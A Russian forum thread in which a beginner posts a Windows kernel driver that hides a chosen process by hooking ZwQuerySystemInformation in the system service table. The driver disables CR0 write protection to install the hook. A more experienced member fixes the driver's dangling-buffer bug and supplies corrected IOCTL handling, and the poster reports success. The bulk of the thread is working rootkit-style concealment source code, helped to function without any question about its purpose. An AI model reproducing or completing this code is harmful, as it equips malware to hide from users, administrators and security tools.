RtlInitAnsiString - inBuf равняется ?

@Nern · Регистрация: 28.02.2013

Author24 — интернет-сервис помощи студентам

Пишу программу, которая на уровне пользователя получает список процессов, нужное имя процесса передает драйверу и скрывает данный процесс...Имя процесса передается правильно, но проблема со строкой 39....inBuf - имя требуемого процесса....При первом запуске данной функции все нормально, но потом при отладке обнаружил, что inBuf равняется ???...Подскажите в чем проблема....Заранее спасибо

C

#include <ntddk.h>          // various NT definitions
#include <string.h>
#include "sioctl.h"
PCHAR inBuf;
struct _SYSTEM_PROCESSES
{
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriority;
ULONG ProcessId;
ULONG InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2[2];
VM_COUNTERS VmCounters;
IO_COUNTERS IoCounters;
};
 
NTSYSAPI
NTSTATUS
NTAPI ZwQuerySystemInformation(IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength);
 
typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(ULONG SystemInformationCLass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);
 
ZWQUERYSYSTEMINFORMATION OldZwQuerySystemInformation; 
 
NTSTATUS NewZwQuerySystemInformation(IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength)
{
 
NTSTATUS NtStatus;
 
ANSI_STRING Process = {0};
UNICODE_STRING UnicodeProcess = {0};
 
RtlInitAnsiString(&Process, inBuf);
RtlAnsiStringToUnicodeString(&UnicodeProcess, &Process, TRUE);
 
 
NtStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);
 
 
if(NT_SUCCESS(NtStatus))
{
if(SystemInformationClass == 5) 
{
struct _SYSTEM_PROCESSES *CurrProc = (struct _SYSTEM_PROCESSES *)SystemInformation;
struct _SYSTEM_PROCESSES *PrevProc = NULL;
 
if(CurrProc->NextEntryDelta)((char *)CurrProc += CurrProc->NextEntryDelta);
while(CurrProc)
{
if (RtlEqualUnicodeString(&UnicodeProcess, &CurrProc->ProcessName, 1))
{
if(PrevProc)
{
if(CurrProc->NextEntryDelta)
{
PrevProc->NextEntryDelta += CurrProc->NextEntryDelta;
}
else
{
PrevProc->NextEntryDelta = 0;
}
}
else
{
if(CurrProc->NextEntryDelta)
{
(char *)SystemInformation += CurrProc->NextEntryDelta;
}
else
{
SystemInformation = NULL;
}
}
if(CurrProc->NextEntryDelta)((char *)CurrProc += CurrProc->NextEntryDelta);
else
{
CurrProc = NULL;
break;
}
}
if(CurrProc != NULL)
{
PrevProc = CurrProc;
if(CurrProc->NextEntryDelta)((char *)CurrProc += CurrProc->NextEntryDelta);
else CurrProc = NULL;
}
}
}
}
return NtStatus;
}
 
#define NT_DEVICE_NAME      L"\\Device\\SIOCTL"
#define DOS_DEVICE_NAME     L"\\DosDevices\\IoctlTest"
 
DRIVER_INITIALIZE DriverEntry;
__drv_dispatchType(IRP_MJ_CREATE)
__drv_dispatchType(IRP_MJ_CLOSE)
DRIVER_DISPATCH SioctlCreateClose;
__drv_dispatchType(IRP_MJ_DEVICE_CONTROL)
DRIVER_DISPATCH SioctlDeviceControl;
DRIVER_UNLOAD SioctlUnloadDriver;
 
#ifdef ALLOC_PRAGMA
#pragma alloc_text( INIT, DriverEntry )
#pragma alloc_text( PAGE, SioctlCreateClose)
#pragma alloc_text( PAGE, SioctlDeviceControl)
#pragma alloc_text( PAGE, SioctlUnloadDriver)
#endif // ALLOC_PRAGMA
 
typedef struct ServiceDescriptorEntry {
unsigned int *ServiceTableBase;
unsigned int *ServiceCounterTableBase;
unsigned int NumberOfServices;
unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry, *PointerServiceDescriptorTableEntry;
 
 
__declspec(dllimport) ServiceDescriptorTableEntry KeServiceDescriptorTable;
 
#define SYSTEMSERVICE(Function) KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)Function+1)]
 
void HookFunctions(void)
{
OldZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation));
 
_asm
{
CLI
MOV EAX, CR0
AND EAX, NOT 10000H
MOV CR0, EAX
}
 
(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation)) = NewZwQuerySystemInformation;
 
_asm
{
MOV EAX, CR0
OR EAX, 10000H
MOV CR0, EAX
STI
}
DbgPrint("Hooked!\n");
}
void UnHookFunctions( void )
{
_asm
{
CLI
MOV EAX, CR0
AND EAX, NOT 10000H
MOV CR0, EAX
}
 
(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation)) = OldZwQuerySystemInformation;
 
_asm
{
MOV EAX, CR0
OR EAX, 10000H
MOV CR0, EAX
STI
}
DbgPrint("Unhooked!\n");
}
 
 
NTSTATUS
DriverEntry(
    __in PDRIVER_OBJECT   DriverObject,
    __in PUNICODE_STRING      RegistryPath
    )
{
    NTSTATUS        ntStatus;
    UNICODE_STRING  ntUnicodeString;    // NT Device Name "\Device\SIOCTL"
    UNICODE_STRING  ntWin32NameString;    // Win32 Name "\DosDevices\IoctlTest"
    PDEVICE_OBJECT  deviceObject = NULL;    // ptr to device object
 
    UNREFERENCED_PARAMETER(RegistryPath);
 
    RtlInitUnicodeString( &ntUnicodeString, NT_DEVICE_NAME );
 
    ntStatus = IoCreateDevice(
        DriverObject,                   // Our Driver Object
        0,                              // We don't use a device extension
        &ntUnicodeString,               // Device name "\Device\SIOCTL"
        FILE_DEVICE_UNKNOWN,            // Device type
        FILE_DEVICE_SECURE_OPEN,     // Device characteristics
        FALSE,                          // Not an exclusive device
        &deviceObject );                // Returned ptr to Device Object
 
    if ( !NT_SUCCESS( ntStatus ) )
    {
       DbgPrint("Couldn't create the device object\n");
        return ntStatus;
    }
 
    //
    // Initialize the driver object with this driver's entry points.
    //
 
    DriverObject->MajorFunction[IRP_MJ_CREATE] = SioctlCreateClose;
    DriverObject->MajorFunction[IRP_MJ_CLOSE] = SioctlCreateClose;
    DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = SioctlDeviceControl;
    DriverObject->DriverUnload = SioctlUnloadDriver;
 
 
    RtlInitUnicodeString( &ntWin32NameString, DOS_DEVICE_NAME );
 
    ntStatus = IoCreateSymbolicLink(&ntWin32NameString, &ntUnicodeString );
 
    if ( !NT_SUCCESS( ntStatus ) )
    {
        DbgPrint("Couldn't create symbolic link\n");
        IoDeleteDevice( deviceObject );
    }
 
 
    return ntStatus;
}
 
 
NTSTATUS
SioctlCreateClose(
    PDEVICE_OBJECT DeviceObject,
    PIRP Irp
    )
{
    UNREFERENCED_PARAMETER(DeviceObject);
 
    PAGED_CODE();
 
    Irp->IoStatus.Status = STATUS_SUCCESS;
    Irp->IoStatus.Information = 0;
 
    IoCompleteRequest( Irp, IO_NO_INCREMENT );
 
    return STATUS_SUCCESS;
}
 
VOID
SioctlUnloadDriver(
    __in PDRIVER_OBJECT DriverObject
    )
{
    PDEVICE_OBJECT deviceObject = DriverObject->DeviceObject;
    UNICODE_STRING uniWin32NameString;
 
    PAGED_CODE();
 
 
 
    RtlInitUnicodeString( &uniWin32NameString, DOS_DEVICE_NAME );
 
 
    IoDeleteSymbolicLink( &uniWin32NameString );
 
    if ( deviceObject != NULL )
    {
        IoDeleteDevice( deviceObject );
    }
    UnHookFunctions();
 
 
}
 
NTSTATUS
SioctlDeviceControl(
    PDEVICE_OBJECT DeviceObject,
    PIRP Irp
    )
 
 
{
    PIO_STACK_LOCATION  irpSp;// Pointer to current stack location
    NTSTATUS            ntStatus = STATUS_SUCCESS;// Assume success
    ULONG               inBufLength; // Input buffer length
    ULONG               outBufLength; // Output buffer length
    PCHAR               outBuf; // pointer to Input and output buffer
    PCHAR               data = "This String is from Device Driver !!!";
    size_t              datalen = strlen(data)+1;//Length of data including null
 
    UNREFERENCED_PARAMETER(DeviceObject);
 
    PAGED_CODE();
 
    irpSp = IoGetCurrentIrpStackLocation( Irp );
    inBufLength = irpSp->Parameters.DeviceIoControl.InputBufferLength;
    outBufLength = irpSp->Parameters.DeviceIoControl.OutputBufferLength;
 
    if (!inBufLength || !outBufLength)
    {
        ntStatus = STATUS_INVALID_PARAMETER;
        goto End;
    }
 
    switch ( irpSp->Parameters.DeviceIoControl.IoControlCode )
    {
    case IOCTL_SIOCTL_METHOD_BUFFERED:
 
 
        inBuf = Irp->AssociatedIrp.SystemBuffer;
        HookFunctions();
        outBuf = Irp->AssociatedIrp.SystemBuffer;
 
        RtlCopyBytes(outBuf, data, outBufLength);
 
 
 
        Irp->IoStatus.Information = (outBufLength<datalen?outBufLength:datalen);
 
 
       break;
 
    
 
    default:
 
 
        ntStatus = STATUS_INVALID_DEVICE_REQUEST;
        DbgPrint("ERROR: unrecognized IOCTL %x\n");
        break;
    }
 
End:
 
 
    Irp->IoStatus.Status = ntStatus;
 
    IoCompleteRequest( Irp, IO_NO_INCREMENT );
 
    return ntStatus;
}

Убежденный · 02.05.2013, 21:17

Ошибка в обработчике IRP_MJ_DEVICE_CONTROL:

C

1	inBuf = Irp->AssociatedIrp.SystemBuffer;

Здесь происходит поверхностное копирование. В inBuf копируется только адрес буфера,
но не его содержимое. После завершения процедуры диспетчер ввода-вывода уничтожает
буфер и inBuf указывает в пустоту. Странно, что это в "синий экран" не вылетает.

@Nern · 02.05.2013, 21:59 **[ТС]**

Спасибо за помощь...Не подскажите как решить эту проблему?

Убежденный · 02.05.2013, 22:11

Выделите буфер памяти, например с помощью ExAllocatePoolWithTag, и скопируйте туда
содержимое буфера, который приходит в Dispatch routine. Адрес будет в системном
диапазоне адресов, поэтому обращаться к нему можно будет независимо от контекста.

И еще. Почему ANSI string ? При конвертировании в UNICODE_STRING будет использована
текущая системная локаль. Это чревато проблемами, если имя процесса будет содержать
символы, отличные от латиницы. Лучше везде использовать только Юникод.

@Nern · 03.05.2013, 12:55 **[ТС]**

Не могли бы привести пример как это сделать? А то я только начинаю разбираться с драйверами...Как я понял надо сделать так:

C

PCHAR buffer;
inBuf = Irp->AssociatedIrp.SystemBuffer;
buffer=ExAllocatePoolWithTag(NonPagedPool,sizeof(inBuf),'ABCD');
buffer=inBuf;

Убежденный · 03.05.2013, 13:35

C

1 2	buffer=ExAllocatePoolWithTag(NonPagedPool,sizeof(inBuf),'ABCD'); buffer=inBuf;

Вы понимаете, что происходит в этих строках ?
Сначала из неподкачиваемого пула выделяется буфер памяти.
Но во второй строке указателю, который получил адрес этого буфера,
присваивается новое значение. Копирования содержимого буфера здесь не
происходит, а сам выделенный буфер безвозвратно теряется (утечка памяти).

Я бы посоветовал пока отложить разработку драйверов и перечитать некоторые
главы из книг по языку С, особенно те, что касаются работы с памятью и указателями.

@Nern · 03.05.2013, 15:55 **[ТС]**

C

1 2	inBuf = ExAllocatePoolWithTag(PagedPool, 1024, 0001); memcpy(&inBuf, &Irp->AssociatedIrp.SystemBuffer, sizeof(Irp->AssociatedIrp.SystemBuffer));

А если так?

Убежденный · 03.05.2013, 17:23

Уже лучше

Но помедитируйте над тем, что возвращает sizeof.
SystemBuffer - это указатель. sizeof(указатель) вернет размер указателя, а не размер буфера, на
который он указывает. На x86 это 4 байта, на x64 - 8. Вряд ли это то, что требуется в данном случае.
Если здесь используется bufferred I/O, тогда размер входного буфера нужно брать из поля
Parameters.DeviceIoControl.InputBufferLength в текущей позиции стека (которая определяется с
помощью IoGetCurrentIrpStackLocation).

Добавлено через 1 час 3 минуты
Вам нужно где-то сохранить строку, которая передается драйверу в обработчике IRP_MJ_DEVICE_CONTROL.
Можно завести глобальную переменную, но еще лучше использовать для этого структуру
DEVICE_EXTENSION, пространство для которой резервируется при создании объекта устройства
(см. параметры IoCreateDevice), а формат можно определить самому.
Например:

C

// Определяется формат структуры.
 
typedef struct _DEVICE_EXTENSION
{
    VOID      * pBuffer;
    size_t      BuffSize;
    
    // Другие данные.
} DEVICE_EXTENSION, *PDEVICE_EXTENSION;
 
// При создании устройства указывается ее размер.
 
DEVICE_OBJECT *pDeviceObj;
 
IoCreateDevice(pDriverObj,
    sizeof (DEVICE_EXTENSION),
    ...,
    ...,
    &pDeviceObj);

Теперь в любой dispatch routine можно получить доступ к этой структуре:

C

1	DEVICE_EXTENSION *pDeviceExt = pDeviceObj->DeviceExtension;

pDeviceObj - это указатель на DEVICE_OBJECT, который обслуживается драйвером.

Ваш обработчик IRP_MJ_DEVICE_CONTROL должен выглядеть примерно следующим образом:

C

NTSTATUS
DispatchDeviceControl(
    __in    DEVICE_OBJECT             * pDeviceObj,
    __in    IRP                       * pIrp
    )
{
    DEVICE_EXTENSION  * pDeviceExt;
    VOID              * pInBuff;
    VOID              * pBuffForString;
    size_t              BuffSize;
    
    // Получаем указатель на текущую позицию стека.
    
    IO_STACK_LOCATION *pIoStackLoc = IoGetCurrentIrpStackLocation(pIrp);
    
    // Проверяем управляющий код.
    
    if (IOCTL_MY_CONTROL_CODE != pIoStackLoc->Parameters.DeviceIoContro.IoControlCode)
    {
        // Ошибка - неизвестный упр. код.
        // Используется вспомогательная функция CompleteRequest:
        //
        // NTSTATUS CompleteRequest(IRP *pIrp, NTSTATUS Status, ULONG_PTR Information)
        // {
        //     pIrp->IoStatus.Status      = Status;
        //     pIrp->IoStatus.Information = Information;
        //     IoCompleteRequest(pIrp, IO_NO_INCREMENT);
        //     return Status;
        // } 
        //
        return (CompleteRequest(pIrp, STATUS_ACCESS_DENIED, 0));
    }
    
    // Проверяем входной буфер.
    
    pInBuff  = pIrp->AssociatedIrp.SystemBuffer;
    BuffSize = pIoStackLoc->Parameters.DeviceIoControl.InputBufferLength;
    
    if ( (NULL == pInBuff) || (0 == BuffSize) )
    {
        return (CompleteRequest(pIrp, STATUS_ACCESS_DENIED, 0));
    }
    
    // TODO:
    // Здесь нужно вставить проверку содержимого буфера.
    // Например, проверить, что входная строка завершается нулем.
    
    // Выделяем память для копирования строки.
    
    pBuffForString = ExAllocatePoolWithTag(NonPagedPool, BuffSize, '1234');
    
    // Выделение памяти из неподкачиваемого пула может завершаться отказом.
    
    if (NULL == pBuffForString)
    {
        return (CompleteRequest(pIrp, STATUS_ACCESS_DENIED, 0));
    }
    
    // Копирование строки в буфер.
    
    RtlCopyMemory(pBuffForString, pInBuff, BuffSize);
    
    // Теперь сохраняем указатель в структуре DEVICE_EXTENSION.
    
    pDeviceExt = pDeviceObj->DeviceExtension;
    
    pDeviceExt->pBuffer  = pBuffForString;
    pDeviceExt->BuffSize = BuffSize;
    
    // Завершаем запрос.
    
    return (CompleteRequest(pIrp, STATUS_SUCCESS, BuffSize));
}

Писал по памяти, так что не обращайте внимания на возможные опечатки.

И еще. Я не знаю архитектуру Вашего драйвера, но в реальных условиях обработчик
IRP может вызываться параллельно, в разных потоках. Если архитектура предполагает,
что IRP_MJ_DEVICE_CONTROL будет приходить однократно, то все будет в порядке, только
не забудьте освободить выделенный буфер в обработчике IRP_MJ_CLOSE, иначе получите
утечку такого ценного ресурса, как неподкачиваемый пул. Кстати, а почему в Вашем
примере отсутствует обработчик IRP_MJ_CLEANUP ? Он тоже должен присутствовать.

Если есть вероятность, что данный обработчик будет вызываться параллельно или
более одного раза для одного объекта устройства, то Вы должны позаботиться о том,
чтобы при выделении и установке в DEVICE_EXTENSION нового буфера со строкой старый
удалялся, причем это должно быть потокобезопасно. Иначе будут сюрпризы, например
один поток записал "свой" DEVICE_EXTENSION->pBuffer, а второй в это же время
"свой" DEVICE_EXTENSION->BuffSize. Получится несогласованное состояние, которое
может привести к падению системы.

Добавлено через 2 минуты
Кстати, вместо пула можете использовать RtlCreateUnicodeString.

@Nern · 04.05.2013, 12:03 **[ТС]**

Спасибо большое
Убежденный, Все получилось...Понял что у меня очень слабая теоретическая подготовка..Не могли бы посоветовать что почитать? Хочется связать свою будущую жизнь с системным программированием

Убежденный · 04.05.2013, 12:33

Изучайте в первую очередь архитектуру Windows, лучше выбирать источники с
уклоном в низкоуровневое и системное программирование:

Windows Internals ("Внутреннее устройство Microsoft Windows") от Руссиновича и Соломона.
Издания, за исключением последнего, шестого, переведены на русский.

"Системное программирование в Windows" (А. Побегайло)
"Системное программирование в среде Windows" (Дж. Хардт).
"Программирование на языке Visual C++" (Дж. Рихтер).

По программированию драйверов лучшая книга на русском -
"Использование Microsoft Windows Driver Model" (У. Они).

Еще есть вот что:
"Writing Windows WDM Device Driver" (C. Cant)
"The Windows 2000 Device Driver Book" (A. Baker, J. Lozano)

Еще в сети есть мануал под названием KmdTutRu, обязательно скачайте.

Можете еще В. Солдатова прочесть ("Программирование драйверов Windows").

Первоисточники: MSDN, WHDC, OsrOnline, Intel и другие, там есть куча материала и всевозможных документов.

Вот здесь я выкладывал сборку документации из последнего Windows Driver Kit (который для Windows 8):
https://docs.google.com/file/d... sp=sharing
Формат chm.

@Nern 0 / 0 / 0 Регистрация: 28.02.2013 Сообщений: 44
	02.05.2013, 21:59 [ТС]	3
	Спасибо за помощь...Не подскажите как решить эту проблему? 0

Убежденный Ушел с форума 16478 / 7441 / 1187 Регистрация: 02.05.2013 Сообщений: 11,617 Записей в блоге: 1
	02.05.2013, 22:11	4
	Выделите буфер памяти, например с помощью ExAllocatePoolWithTag, и скопируйте туда содержимое буфера, который приходит в Dispatch routine. Адрес будет в системном диапазоне адресов, поэтому обращаться к нему можно будет независимо от контекста. И еще. Почему ANSI string ? При конвертировании в UNICODE_STRING будет использована текущая системная локаль. Это чревато проблемами, если имя процесса будет содержать символы, отличные от латиницы. Лучше везде использовать только Юникод. 0

@Nern 0 / 0 / 0 Регистрация: 28.02.2013 Сообщений: 44
	04.05.2013, 12:03 [ТС]	9
	Спасибо большое Убежденный, Все получилось...Понял что у меня очень слабая теоретическая подготовка..Не могли бы посоветовать что почитать? Хочется связать свою будущую жизнь с системным программированием 0

Убежденный Ушел с форума 16478 / 7441 / 1187 Регистрация: 02.05.2013 Сообщений: 11,617 Записей в блоге: 1
	04.05.2013, 12:33	10
	Изучайте в первую очередь архитектуру Windows, лучше выбирать источники с уклоном в низкоуровневое и системное программирование: Windows Internals ("Внутреннее устройство Microsoft Windows") от Руссиновича и Соломона. Издания, за исключением последнего, шестого, переведены на русский. "Системное программирование в Windows" (А. Побегайло) "Системное программирование в среде Windows" (Дж. Хардт). "Программирование на языке Visual C++" (Дж. Рихтер). По программированию драйверов лучшая книга на русском - "Использование Microsoft Windows Driver Model" (У. Они). Еще есть вот что: "Writing Windows WDM Device Driver" (C. Cant) "The Windows 2000 Device Driver Book" (A. Baker, J. Lozano) Еще в сети есть мануал под названием KmdTutRu, обязательно скачайте. Можете еще В. Солдатова прочесть ("Программирование драйверов Windows"). Первоисточники: MSDN, WHDC, OsrOnline, Intel и другие, там есть куча материала и всевозможных документов. Вот здесь я выкладывал сборку документации из последнего Windows Driver Kit (который для Windows 8): https://docs.google.com/file/d... sp=sharing Формат chm. 4